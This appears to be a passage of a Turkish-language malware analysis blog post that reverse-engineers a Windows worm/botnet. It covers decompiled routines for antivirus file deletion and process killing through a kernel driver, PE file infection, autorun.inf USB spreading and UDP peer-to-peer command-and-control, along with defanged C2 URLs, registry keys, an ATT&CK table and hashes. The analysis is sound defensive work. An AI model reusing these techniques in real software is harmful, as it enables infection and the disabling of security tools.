          if (param_4->cFileName[0] == '\0') break;
          if (100 < local_428) {
            local_428 = 0;
            Sleep((-(uint)(param_3 != '\0') & 0x400) + 0xc00);
          }
          iVar4 = lstrlenA(param_4->cFileName);
          if ((uint)(param_1 + iVar4) < 0xfb) {
            param_2[param_1] = '\0';
            lstrcatA(param_2,param_4->cFileName);
            local_20 = lstrlenA(param_2);
            local_20 = local_20 + -4;
            CharUpperA(param_4->cFileName);
            iVar4 = lstrlenA(param_4->cFileName);
            if ((2 < iVar4) &&
               ((iVar4 = lstrcmpiA(param_2 + local_20,PTR_DAT_004815fc), iVar4 == 0 ||
                (iVar4 = lstrcmpiA(param_2 + local_20,PTR_DAT_00481600), iVar4 == 0)))) {
              for (local_20 = 0; *(&PTR_s_AVPM._00481a50)[local_20] != '\0'; local_20 = local_20 + 1
                  ) {
                pcVar1 = FUN_004042a8(param_4->cFileName,(&PTR_s_AVPM._00481a50)[local_20]);
                if (pcVar1 != (char *)0x0) {
                  FUN_00405704(param_2,0);
                }
              }
              FUN_00409668(param_2,0,(SIZE_T *)0x0);
            }
            param_2[param_1] = '\0';
            if (((param_4->dwFileAttributes & 0x10) != 0) && (param_4->cFileName[0] != '.')) {
              lstrcpyA(param_2 + param_1,param_4->cFileName);
              uVar3 = lstrlenA(param_4->cFileName);
              iVar5 = param_1 + (uVar3 & 0xffff);
              iVar4 = lstrcmpiA(param_4->cFileName,PTR_s_SYSTEM_0048158c);
              if (iVar4 != 0) {
                FUN_0040bac3(iVar5,param_2,param_3,param_4);
              }
              param_1 = iVar5 - (uVar3 & 0xffff);
              param_2[param_1] = '\0';
            }
            local_428 = local_428 + 1;
          }
          else {
            local_428 = local_428 + 1;
          }
        }
      }
    }
    local_8 = 0xffffffff;
    if (hFindFile != (HANDLE)0x0) {
      FindClose(hFindFile);
    }
    Sleep(0x400);
  }
  ExceptionList = local_14;
  return 0;
}

FUN_0040bac3 fonksiyonu, verilen yol üzerinden recursive biçimde dizin gezen bir dosya sistemi tarama rutinidir. Fonksiyon, FindFirstFileA ve FindNextFileA kullanarak alt dizinlere inmekte, belirli uzantılara sahip dosyaları seçmekte ve gömülü isim/desen listeleriyle eşleşme kontrolü yapmaktadır. Eşleşen dosyalar üzerinde ek işlemler için FUN_00405704 ve FUN_00409668 fonksiyonları çağrılmaktadır. Ayrıca alt dizinlerin recursive biçimde işlenmesi ve CD-ROM dışındaki sürücüler üzerinde çalışması, örneğin yerel, çıkarılabilir ve ağ sürücülerinde dosya temelli tarama veya yayılım davranışı sergileyebileceğini göstermektedir.

Yapılan eşleşme kontrolünün AV detection amaçlı olduğunu yukarıda okuduğumuz stringler sayesinde tahmin edebiliyoruz.

image.png

FUN_00405704

1
2
3
4
5
6
7
8
9
10
11
undefined4 __cdecl FUN_00405704(LPCSTR param_1,int param_2)

{
  uint uVar1;

  if ((param_2 != 0) || (uVar1 = FUN_00409668(param_1,2,(SIZE_T *)0x0), uVar1 == 0)) {
    SetFileAttributesA(param_1,0x20);
    DeleteFileA(param_1);
  }
  return 0;
}

FUN_00405704 fonksiyonu, belirli dosya adı/desen eşleşmeleri (örneğin antivirüs veya güvenlik yazılımlarına ait dosyalar) tespit edildiğinde çağrılmakta ve bu dosyaları doğrudan silmeye yönelik bir davranış sergilemektedir. Fonksiyon, dosyanın özniteliklerini FILE_ATTRIBUTE_NORMAL olarak ayarlayarak olası koruma bayraklarını kaldırmakta ve ardından DeleteFileA ile dosyayı sistemden kaldırmaktadır. Ek olarak, silme işleminden önce FUN_00409668 fonksiyonu ile alternatif bir işlem denemesi yapılmakta, bu işlem başarısız olduğunda dosya kesin olarak silinmektedir. Bu davranış, zararlının güvenlik yazılımlarını hedef alarak sistem üzerindeki savunma mekanizmalarını devre dışı bırakmaya yönelik aktif bir strateji izlediğini göstermektedir.

FUN_00409668

İlgili analiz kesiti aşağıda görsel ve açıklamalı olarak sunulmuştur:

image.png

FUN_00409668 fonksiyonu, hedef dosyayı açarak memory-mapped erişim üzerinden analiz eden ve yalnızca PE formatındaki yürütülebilir dosyalar üzerinde çalışan bir enfeksiyon rutinidir. Fonksiyon, PE header ve section bilgilerini inceleyerek uygun hedefleri belirlemekte, ardından dosya içerisine kendi kodunu enjekte etmek üzere yeni veri blokları ve stub kod üretmektedir. Bu süreçte CreateFileMapping, MapViewOfFile ve doğrudan bellek manipülasyonu kullanılarak dosya içeriği yeniden düzenlenmekte, gerekli durumlarda dosya boyutu artırılmakta ve payload eklenmektedir. Ayrıca CreateFileA, GetProcAddress gibi API referanslarının analiz edilmesi, zararlının API seviyesinde kontrol akışı manipülasyonu gerçekleştirebileceğini göstermektedir. Enfeksiyon sonrası dosya zaman damgalarının geri yüklenmesi, yapılan değişikliklerin gizlenmesine yönelik bir anti-forensic davranış olarak değerlendirilebilir.

lpStartAddress_0040dc61

lpStartAddress_0040dc61 fonksiyonunun analizi:

image.png

lpStartAddress_0040dc61 fonksiyonu, çıkarılabilir ve yerel sürücüler üzerinde yayılım gerçekleştiren bir worm bileşeni olarak işlev görmektedir. Fonksiyon, sistemdeki tüm sürücüleri enumerate ederek CD-ROM dışındaki sürücüler üzerinde işlem yapmakta, mevcut autorun.inf dosyalarını analiz etmekte ve gerektiğinde silerek yeniden oluşturmaktadır. Yeni oluşturulan autorun.inf dosyası içerisine zararlının çalıştırılmasını sağlayan shell\open\command girdileri eklenmekte, ardından dosya gizli ve sistem öznitelikleri ile işaretlenmektedir. Ek olarak, zararlı kendi yürütülebilir kopyasını hedef sürücüye bırakmakta ve böylece çıkarılabilir medya aracılığıyla diğer sistemlere bulaşma yeteneği kazanmaktadır. Bu davranış, klasik autorun tabanlı USB yayılım mekanizmasına işaret etmektedir.

FUN_004050fc

image.png

FUN_004050fc, sistemde çalışan süreçleri enumerate ederek belirli isim desenleriyle eşleşen süreçleri ve ek bir kontrol fonksiyonu (FUN_00405003) tarafından hedef olarak işaretlenen PID’leri tespit etmektedir. Eşleşen süreçler için FUN_00404f7c fonksiyonu çağrılarak ayrı bir müdahale mekanizması devreye alınmaktadır. Bu davranış, zararlının yalnızca servisleri ve dosyaları değil, çalışan güvenlik süreçlerini de aktif biçimde hedef aldığını göstermektedir.

Müteakip aşamada FUN_00404f7c fonksiyonu incelendiğinde sıradışı bir davranış kalıbıyla karşılaşılmaktadır.

image.png

İlgili bileşeni yürüten ve AV tespiti/atlatması (bypass) için kullanılan fonksiyon tespit edilmiştir.

FUN_00404f7c fonksiyonu, hedef süreçleri sonlandırmak için iki aşamalı bir mekanizma kullanmaktadır. Öncelikle \\.\amsint32 isimli bir device üzerinden bir kernel-mode bileşenle iletişim kurulmaya çalışılmakta ve hedef PID bu bileşene iletilmektedir. Bu durum, zararlının kernel seviyesinde çalışan bir driver aracılığıyla süreç sonlandırma gerçekleştirebildiğini göstermektedir. Eğer bu device erişilemez ise, fonksiyon fallback olarak OpenProcess ve TerminateProcess API’lerini kullanarak hedef süreci user-mode seviyesinde sonlandırmaktadır. Bu yaklaşım, zararlının güvenlik yazılımlarını hem user-mode hem de kernel-mode seviyesinde etkisiz hale getirmeye çalıştığını ortaya koymaktadır.

Elde edilen tüm bulgular zararlının işlevlerini aşamalı olarak açığa çıkarmaktadır.

Sıradaki inceleme hedefi:

Komuta - Kontrol (C2) Hattı

image.png

lpStartAddress_004038bb fonksiyonu, UDP tabanlı bir ağ dinleme (listener) thread’i olarak çalışmaktadır. Fonksiyon, bir UDP socket oluşturmakta, sabit bir port numarasına bind olmakta ve recvfrom aracılığıyla gelen paketleri beklemektedir. Paket alındığında, veri tamponu ve gönderen adres bilgisi ayrı bir worker thread’e (lpStartAddress_004034de) aktarılmaktadır. Bu yapı, örneğin yalnızca yerel yayılım ve dosya enfeksiyonu ile sınırlı olmadığını, aynı zamanda ağ üzerinden komut kabul edebilen bir UDP tabanlı kontrol mekanizması içerdiğini göstermektedir.

lpStartAddress_004034de

image.png

lpStartAddress_004034de fonksiyonu, UDP listener thread’i tarafından alınan paketleri işleyen komut ayrıştırıcı (command handler) bileşenidir. Fonksiyon, alınan veri üzerinde uzunluk, bütünlük ve sürüm/tip doğrulaması gerçekleştirdikten sonra paket tipine göre farklı işlem yollarına ayrılmaktadır. İncelenen örnekte en az üç ayrı komut tipi (0x01, 0x02, 0x03) desteklenmekte ve bu komutlara karşılık sendto aracılığıyla farklı yanıt paketleri üretilmektedir. Bazı komutlar yalnızca durum/yanıt üretirken, bazıları ek yardımcı fonksiyonları tetiklemekte ve pakete gömülü özel işaretçi değerlere göre farklı işleme yollarına ayrılmaktadır. Bu yapı, zararlının UDP tabanlı hafif bir komut-kontrol protokolü kullandığını ve ağ üzerinden alınan paketlere göre davranış değiştirebildiğini göstermektedir.

Yanıt paketini oluşturan FUN_004026ed fonksiyonu analize dahil edilmiştir.

image.png

FUN_004026ed fonksiyonu, zararlının UDP tabanlı komut-kontrol iletişiminde kullandığı cevap paketlerini oluşturmaktadır. Fonksiyon, paket başlığına sürüm/tip alanı, uzunluk bilgisi ve bütünlük kontrolü amacıyla hesaplanan bir doğrulama değeri eklemekte, ardından paketi ek bir encode/obfuscation adımından geçirmektedir. İncelenen farklı cevap tiplerinde; başarı yanıtı (OK), rastgele/session benzeri 4 baytlık değerler, küçük sabit boyutlu veri yapıları ve ayrıca 0x80 baytlık sabit veri ile değişken uzunluklu bir veri bloğunu içeren daha zengin içerikler gözlenmiştir. Bu durum, zararlının komutlara yalnızca basit ACK/NACK cevapları vermediğini, aynı zamanda yapılandırılmış durum veya veri içeriğini de C2 tarafına iletebildiğini göstermektedir.

0x02 parametresinin içeriğini doldurduğu değerlendirilen FUN_004022c6 fonksiyonu analize dahil edilmiştir.

image.png

FUN_004022c6 fonksiyonu, zararlının C2 iletişiminde kullanılan veri üretim mekanizmasına ait bir wrapper görevi görmektedir. Fonksiyon, bir context oluşturduktan sonra FUN_0040f210 fonksiyonu aracılığıyla sistemden veri toplayarak verilen buffer’a yazmakta ve ardından ilgili kaynakları serbest bırakmaktadır. Bu yapı, zararlının belirli komutlar (özellikle 0x02) karşılığında sistemle ilgili bilgileri toplayarak C2 tarafına ilettiğini göstermektedir.

FUN_0040f210

image.png

image.png

FUN_0040f210 fonksiyonu, zararlının dahili veri yapısı içerisinde tutulan kayıtları filtreleyerek C2 iletişiminde kullanılmak üzere tekil bir kayıt seçmektedir. Fonksiyon, belirli koşulları sağlayan girdilerin kimlik değerlerini geçici bir listeye almakta, ardından bu girdiler arasından pseudo-random bir seçim yaparak ilgili kaydın tamamını 0x14 baytlık bir blok halinde çıktı buffer’ına kopyalamaktadır. Bu davranış, zararlının C2 tarafına her seferinde tüm veri kümesini değil, seçilmiş tekil kayıtları ilettiğini ve iletişim protokolünde kayıt/peer/görev benzeri yapılandırılmış veriler kullandığını göstermektedir.

C2 iletişimi analiz edilirken, gönderilen paket içeriğinin kaynağını belirlemek amacıyla ters akış (data flow) analizi uygulanmıştır. sendto çağrısından geriye doğru gidilerek paket oluşturma fonksiyonu (FUN_004026ed), veri üretim fonksiyonu (FUN_0040f210) ve son olarak veri kaynağını yöneten fonksiyon (FUN_0040ef70) tespit edilmiştir. Bu yaklaşım sayesinde zararlının C2’ye gönderdiği verinin statik sistem bilgileri değil, dinamik olarak tutulan bir kayıt/peer tablosundan seçildiği ortaya konulmuştur.

FUN_0040ef70

image.png

FUN_0040ef70 fonksiyonu, zararlının dahili olarak tuttuğu ve maksimum 1000 girdiden oluşan bir kayıt tablosunu yönetmektedir. Her kayıt; bir kimlik değeri, port bilgisi, ek parametre alanları ve zaman damgası içermektedir. Fonksiyon, mevcut kayıtları güncelleyebilmekte, boş slotlara yeni kayıt ekleyebilmekte ve tablo dolu olduğunda en az öncelikli girdiyi yeni veri ile değiştirmektedir. Bu yapı, zararlının ağ üzerinde keşfettiği veya etkileşimde bulunduğu sistemleri bir liste halinde tutarak daha sonra C2 iletişiminde kullanmak üzere organize ettiğini göstermektedir.

lpStartAddress_00403aef

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
/* lpStartAddress parameter of CreateThread
    */

void lpStartAddress_00403aef(undefined1 *param_1)

{
  u_short uVar1;
  DWORD DVar2;
  int iVar3;
  undefined4 *puVar4;
  sockaddr local_10a0;
  undefined1 *local_1090;
  int local_1088;
  undefined1 local_1084;
  undefined4 local_1083;
  undefined4 uStackY_18;
  
  local_1090 = param_1;
  local_1084 = 0;
  puVar4 = &local_1083;
  local_1084 = 0;
  puVar4 = &local_1083;
  for (iVar3 = 0x41f; iVar3 != 0; iVar3 = iVar3 + -1) {
    *puVar4 = 0;
    puVar4 = puVar4 + 1;
  }
  *(undefined2 *)puVar4 = 0;
  *(undefined1 *)((int)puVar4 + 2) = 0;
  local_1088 = 0;
  InterlockedIncrement((LONG *)&lpAddend_004140c0);
  local_10a0.sa_data[0] = '\0';
  local_10a0.sa_data[1] = '\0';

  local_10a0.sa_data[3] = '\0';
  local_10a0.sa_data[4] = '\0';
  local_10a0.sa_data[5] = '\0';
  local_10a0.sa_data[6] = '\0';
  local_10a0.sa_data[7] = '\0';
  local_10a0.sa_data[8] = '\0';
  local_10a0.sa_data[9] = '\0';
  local_10a0.sa_data[10] = '\0';
  local_10a0.sa_data[0xb] = '\0';
  local_10a0.sa_data[0xc] = '\0';
  local_10a0.sa_data[0xd] = '\0';
  local_108c = 0;
  local_10a0.sa_family = 2;
  uVar1 = htons(*(u_short *)(local_1090 + 4));
  local_10a0.sa_data._0_2_ = uVar1;
  uStackY_18 = 0x403ba2;
  uStackY_18 = 0x403bba;
  uStackY_18 = 0x403bba;
  iVar3 = FUN_00402f48(&local_10a0,(undefined1 *)&local_108c,0);
  if (iVar3 == 0) {
    if (0x32 < DAT_004140c8) {
      *(int *)(local_1090 + 0xc) = *(int *)(local_1090 + 0xc) + -1;
    }
    *(undefined4 *)(local_1090 + 0x10) = 0;
  }
  else {
    *(int *)(local_1090 + 0xc) = *(int *)(local_1090 + 0xc) + 1;
    DVar2 = GetTickCount();
    *(DWORD *)(local_1090 + 0x10) = DVar2;
    if (local_108c < DAT_00475c58) {

      FUN_00402f48(&local_10a0,(undefined1 *)&local_108c,1);
    }
    if (DAT_004140c4 == 0) {
      local_1088 = FUN_00403284(&local_10a0);
      if (local_1088 == 0) {
      }



    }
    if (DAT_004140c8 < 0x3d4) {
      FUN_00402ca2(&local_10a0);
    }
  }
  InterlockedDecrement((LONG *)&lpAddend_004140c0);
                    /* WARNING: Subroutine does not return */
  ExitThread(0);
}

Kayıt tablosundaki bir peer/target girdisini alıp ona UDP üzerinden aktif temas kuran worker thread

Fonksiyonun özet davranışı:

  • entry içinden IP + port çıkarıyor
  • sockaddr hazırlıyor
  • FUN_00402f48(...) prosedürü üzerinden belirlenen hedef adrese aktif bir ağ paketi iletiyor
  • sonuca göre kaydı güncelliyor
  • gerekirse ek fonksiyonlar çağırıyor

Bu bulgu, zararlının salt ‘dinleyici’ (passive) modda kalmadığını; hedef listesindeki diğer istemcilere aktif bağlantı kuran (active peer) bir yapıda olduğunu doğrulamaktadır.


Fonksiyonun Aşama Aşama Analizi

param_1 ve param_2 İfadelerinin Analizi

İlgili fonksiyon dahilindeki kritik kod satırları aşağıdadır:

1
2
3
uVar1 = htons(*(u_short *)(local_1090 + 4));
local_10a0.sa_data._0_2_ = uVar1;
FUN_00412bab(local_10a0.sa_data + 2, local_1090, 4);

Bu kod parçasının anlamı:

local_1090

Bu, FUN_0040ef70 ile tutulan entry’nin pointer’ı.

İlk 4 byte

1
FUN_00412bab(..., local_1090, 4);

sockaddr.sa_data + 2 içine kopyalanıyor

Bu:

IPv4 adresi

+4 offset’teki ushort

1
*(u_short *)(local_1090 + 4)

→ htons(…)

Bu da:

port

lpStartAddress_00403aef fonksiyonu, zararlının dahili kayıt tablosunda tuttuğu girdileri aktif olarak işleyen peer-worker thread’idir. Fonksiyon, kayıt yapısının ilk 4 baytını IPv4 adresi, devamındaki 2 baytı ise port bilgisi olarak kullanarak bir sockaddr yapısı oluşturmaktadır. Ardından ilgili hedefe yönelik ağ işlemleri (FUN_00402f48) gerçekleştirilmekte, başarılı iletişim halinde kayıt sayacı ve zaman damgası güncellenmekte, başarısızlık halinde ise kayıt puanı düşürülmektedir. Bu davranış, zararlının yalnızca gelen UDP komutlarını dinleyen pasif bir arka kapı olmadığını, aynı zamanda tuttuğu peer/host listesine karşı aktif ağ etkileşimleri yürüten bir yapıya sahip olduğunu göstermektedir.

String analizleri üzerinden C2 bağlantılarını tetikleyen fonksiyon araştırması yapılmıştır.

image.png

Analizler çerçevesinde ilgili sample içinde gömülü payload görünmemektedir.

İlgili C2’lerden .gif uzantılı içerik indirilmesi, ikinci aşama yükün sıradan bir medya dosyası gibi gösterilmeye çalışıldığını düşündürmektedir. Ancak aktif içerik elde edilmeden steganografi kullanıldığı sonucuna doğrudan varılamaz; bu aşamada daha savunulabilir yorum uzantı maskeleme (extension masquerading) yönündedir.

C2 sunucuları aktif olmadığından analiz süreci bu bulgu ile tamamlanmıştır.


1. Özet ve Sonuç Değerlendirmesi

Analiz edilen örneklerde, HTTP tabanlı komut/konfigürasyon alma, UDP tabanlı eşler arası (P2P) haberleşme, güvenlik ürünlerini hedef alan süreç sonlandırma davranışları ve çalışma anında hazırlanan payload/config verisi gözlenmiştir.

İncelenen örnek seti, doğrudan veri hırsızlığı yapan nihai payload’dan ziyade dağıtım, enfeksiyon, süreç enjeksiyonu ve ağ iletişimi işlevlerini öne çıkaran ara bileşenlerden oluşmaktadır. Bu nedenle genel mimari, modüler ve çok aşamalı bir botnet/enfeksiyon altyapısı olarak değerlendirilmektedir.

2. Mimari Genel Bakış

Zararlı aşağıdaki temel bileşenlerden oluşmaktadır:

2.1 HTTP C2 Katmanı

  • Yapılandırma ve komut verisi alma
  • Görünüm olarak “.gif” uzantılı endpointler üzerinden veri çekme

2.2 UDP P2P Katmanı

  • Peer discovery (diğer düğümleri bulma)
  • Komut ve yapılandırma yayılımı

2.3 AV/EDR Engelleme Mekanizması

  • Güvenlik yazılımlarına ait süreçlerin sonlandırılması
  • Kernel seviyesinde sürücü etkileşimi

2.4 Dosya Temizleme ve Anti-Forensic

  • Geçici dosyaların silinmesi
  • Analiz ve iz bırakmayı zorlaştıran davranışlar

3. Indicator of Compromise (IOC)

3.1 C2 URL’leri

Aşağıdaki URL’ler zararlı içerisinde gömülü olarak bulunmaktadır:

  • hxxp://89[.]119.67.154/testo5/
  • hxxp://kukutrustnet777[.]info/home.gif
  • hxxp://kukutrustnet888[.]info/home.gif
  • hxxp://kukutrustnet987[.]info/home.gif
  • hxxp://kukutrustnet777888[.]info/
  • hxxp://www[.]klkjwre9fqwieluoi.info/
  • Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30731)

Bu URL’ler yapılandırma ve/veya ikinci aşama veri dağıtımı için kullanılmaktadır.


3.2 Kernel / Dosya Sistemi Göstergeleri

Hedeflenen / Oluşturulan Dosyalar:

  • C:\Windows\System32\drivers\amsint32.sys (Zararlının diske bıraktığı ve çekirdek modunda çalışan ana sürücü dosyası)
  • [Sürücü_Harfi]:\autorun.inf (Örneğin D:\autorun.inf - çıkarılabilir ağ veya yerel sürücülere yayılım ve otomatik başlatma tetikleyicisi)

Cihaz (Device) Nesneleri / Sembolik Linkler:

  • \Device\amsint32
  • \DosDevices\amsint32
  • \\.\amsint32 (Kullanıcı modunda Anti-Virüs süreçlerini sonlandırmak için çağrılan aygıt yolu)
  • \Device\IPFILTERDRIVER (P2P/Yönlendirme sürücüsünün IOCTL gönderdiği diğer tetikleyici/legit maskeli sürücü yolu)

Bu göstergeler, zararlının kernel seviyesinde ek bileşenler kullandığını ve disk üzerinde .sys ile .inf artefact’ları bıraktığını göstermektedir.

3.3 Davranışsal Göstergeler

  • Zararlı, hedeflediği süreçlerin daha önce enfekte edilip edilmediğini anlamak için süreç PID’sini kullanarak s_M_%d (örneğin s_M_1234) formatında dinamik mutex’ler oluşturmaktadır.

3.4 Ağ Davranışı

  • UDP tabanlı özel protokol
  • HTTP üzerinden yapılandırma alma
  • Dağıtık iletişim modeli

4. Fonksiyonel Analiz

4.1 Dosya Silme Fonksiyonu: FUN_00405704

  • Dosya özniteliklerini değiştirir
  • Dosyayı siler

Amaç:

  • İzleri temizlemek
  • Analiz ortamını bozmak

4.2 Geçici Dizin Tarama: lpStartAddress_0040578b

  • %TEMP% dizinini tarar
  • Belirli uzantıları hedef alır
  • Recursive tarama yapar

Amaç:

  • Anti-analysis
  • Gereksiz veya riskli dosyaları kaldırmak

4.3 AV Süreç Sonlandırma: FUN_004050fc

  • Sistem süreçlerini enumerate eder
  • AV/EDR süreç isimleri ile karşılaştırır
  • Eşleşme durumunda hedef süreci sonlandırır

4.4 Kernel / Driver Etkileşimli Kill: FUN_00404f7c

  • Başarılıysa kernel üzerinden işlem gerçekleştirir
  • Aksi durumda kullanıcı modunda TerminateProcess çağırır

4.5 Thread Yönetimi: lpStartAddress_00401189

  • Thread handle’larını izler
  • Senkronizasyon ve görev yönetimi sağlar

4.6 Polimorfik Dosya Enfeksiyonu: FUN_00409668

  • PE formatındaki yürütülebilir dosyaları memory-mapped erişim ile açarak analiz eder
  • CreateFileMapping ve MapViewOfFile ile uygun hedeflere kendi kodunu enjekte eder
  • yeni section açma ve stub kod üretimiyle polimorfik enfeksiyon gerçekleştirir

5. UDP Tabanlı P2P İletişim

5.1 Listener: lpStartAddress_004038bb

  • UDP socket oluşturur
  • Belirli bir porta bind eder
  • Gelen paketleri dinler

5.2 Paket İşleme: lpStartAddress_004034de

  • Gelen veriyi parse eder
  • Checksum doğrular
  • Komut türüne göre işlem yapar

5.3 Paket Oluşturma: FUN_004026ed

Özel protokol oluşturur. Desteklenen komut türleri:

  • 0x01: Sistem bilgisi
  • 0x02: Peer discovery
  • 0x03: Kontrol / keepalive
  • # / $: Config dağıtımı

5.4 Ağ İletişim Fonksiyonu: FUN_00402f48

  • UDP üzerinden veri gönderir
  • select() ile cevap bekler
  • Gelen cevabı parse eder

Bu fonksiyon C2 handshake sürecinin temelini oluşturur.


6. Peer Yönetimi

6.1 Peer Tablosu: FUN_0040ef70

  • IP ve port bilgilerini saklar
  • Zaman damgası ile birlikte tutar
  • Maksimum 1000 node destekler

6.2 Peer Seçimi: FUN_0040f210

  • Rastgele peer seçimi yapar
  • Veri iletimi için uygun node belirler

7. HTTP C2 ve Yapılandırma Mekanizması

7.1 Kullanılan API’ler

  • InternetOpenA
  • InternetOpenUrlA
  • InternetReadFile

7.2 Kritik Fonksiyon: FUN_00402341

Bu fonksiyon:

  1. HTTP cevabını alır
  2. Decode/validate işlemi yapar
  3. İçerisindeki “http” stringlerini tespit eder
  4. Yapılandırmayı global alana yazar

7.3 Global Yapılandırma Alanı: DAT_00475c64

İçeriği:

  • URL listesi
  • yapılandırma parametreleri
  • potansiyel ikinci aşama verisi

8. Sistem Bilgisi Toplama

Kullanılan API’ler:

  • GetComputerNameA
  • GetUserNameA
  • GetVersionExA
  • GetLogicalDrives

Toplanan bilgiler:

  • Sistem adı
  • Kullanıcı adı
  • İşletim sistemi bilgisi
  • Disk yapısı

9. Persistence Mekanizmaları

9.1 Registry Kullanımı (Kayıt Defteri)

Zararlı yazılımın sistem ayarlarını manipüle etmek ve kalıcılık sağlamak adına başvurduğu Kayıt Defteri anahtarları (Registry Keys):

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run (Sistem her başlatıldığında zararlının otomatik çalışmasını sağlayan kalıcılık anahtarı)
  • HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal (Analiz veya kurtarma girişimlerini engellemek için Güvenli Mod yapılandırmasının silinmesi)
  • HKLM\System\CurrentControlSet\Control\SafeBoot\Network (Ağ destekli Güvenli Mod yapılandırmasının silinmesi)
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced (Gizli dosyaların gösterimini kapatarak zararlı bileşenlerin kullanıcıdan saklanması)

9.2 Autorun

  • autorun.inf oluşturma ve sürücü (B:, C:, D: vb.) kök dizinlerine yerleştirme.

9.3 Diğer

  • Servis manipülasyonu
  • Firewall ayarlarının değiştirilmesi

10. Düşük Seviye Sistem Etkileşimi

Aşağıdaki string ve API’ler gözlemlenmiştir:

  • ntoskrnl.exe
  • IoCreateDevice
  • PsCreateSystemThread

Bu durum, örneğin kernel seviyesinde çalışan bir bileşenle etkileşime girebildiğini göstermektedir. Ancak yalnızca bu bulgular üzerinden rootkit sınıflandırması yapmak için yeterli kanıt bulunmamaktadır.


11. Davranış Özeti

Zararlı:

  • HTTP üzerinden yapılandırma alır
  • Bu yapılandırmayı bellekte saklar
  • UDP P2P ağı üzerinden diğer düğümlere yayar
  • Güvenlik yazılımlarını hedef alır ve sonlandırır
  • Yeni düğümler keşfeder
  • Payload dağıtım altyapısı sağlar

Sistem stabilitesini korumak ve şüphe çekici mavi ekran (BSOD) hatalarından kaçınmak için SYSTEM, LOCAL SERVICE ve NETWORK SERVICE ayrıcalıklı hesaplarıyla çalışan süreçlere enjeksiyon yapmaktan bilinçli olarak kaçınır.

TacticTechnique (ID)Observed Behaviors / Actions
ExecutionShared Modules (T1129)Çalışma zamanında (runtime) fonksiyon API’lerinin dinamik çözümlenmesi.
 Service Execution (T1569.002)Zararlı kodun bir sistem servisi kılıfında yürütülmesi.
PersistenceBoot or Logon Autostart Execution: Registry Run Keys (T1547.001)HKCU\...\CurrentVersion\Run anahtarına değer eklenerek otomatik başlama sağlanması.
 Create or Modify System Process: Windows Service (T1543.003)Kalıcılık için servis oluşturulması ve ayarlarının manipüle edilmesi.
Privilege EscalationAccess Token Manipulation (T1134)SeDebugPrivilege yetkisinin alınması ve token objelerinin incelenmesi.
Defense EvasionImpair Defenses: Disable or Modify Tools (T1562.001)Anti-Virüs süreçlerinin enumerate edilip sonlandırılması ve SafeBoot anahtarlarının silinmesi.
 Process Injection: Portable Executable Injection (T1055.002)VirtualAllocEx ve CreateRemoteThread kullanılarak diğer süreçlerin bellek alanına zararlı PE yüklenmesi.
 Indicator Removal: File Deletion (T1070.004)Geride iz bırakmamak veya analiz ortamını kırmak için %TEMP% vb. dizinlerindeki dosyaların temizlenmesi.
 Modify Registry (T1112)Explorer/Advanced gibi kullanıcı registry değerlerinin manipülasyonu.
 Obfuscated Files/Info (T1027)Zararlı içindeki metinlerin, payload’un ve ağ trafiğinin custom XOR / RC4 ile şifrelenmesi.
DiscoveryProcess Discovery (T1057)Enjeksiyon veya sonlandırma hedefi için çalışan işlemlerin CreateToolhelp32Snapshot ile listelenmesi.
 System Information Discovery (T1082)İşletim sistemi sürümü ve disk yapısının (GetLogicalDrives) analiz edilmesi.
 File and Directory Discovery (T1083)Klasörlerin recursive olarak gezilmesi, autorun.inf dosyalarının aranması.
Command and ControlProxy: Peer-to-Peer Routing (T1090.002)UDP üzerinden diğer düğümlerle özel P2P iletişim kurulması ve kayıt/peer tablosu üzerinden hedeflerle etkileşim sağlanması.
Lateral MovementReplication Through Removable Media (T1091)Keşfedilen çıkarılabilir ve yerel formatlı disklere kendini kopyalaması ve autorun.inf yapılandırması bırakması.
SHA256MD5Boyut
2cdacb5d742167599b826f899807cee2745c86d38a294c76cc4323b3ac0faeecc1a5d1d978fb4a302021371375f26112111.104
5b6430e115eb28e10d4e38f3cf311fd9fd39b358ab0dcd6d7ff49bf9d01dab3aa92697918309d9e881ab98b354b7c4ee241.664
8ec28b718336a05245f2138cbcc4fea8e45f698a40bfc6fd79162adf67333e8bdd09ad8e04a5595e859234824b326894104.960
d34b4e7472d1df3603be48d10c4a267281bc3d39ea64c424de408f0876a3035a31de33a273cf87952e94d3534335a9b14.672
Bu gönderi CC BY 4.0 lisansı altındadır.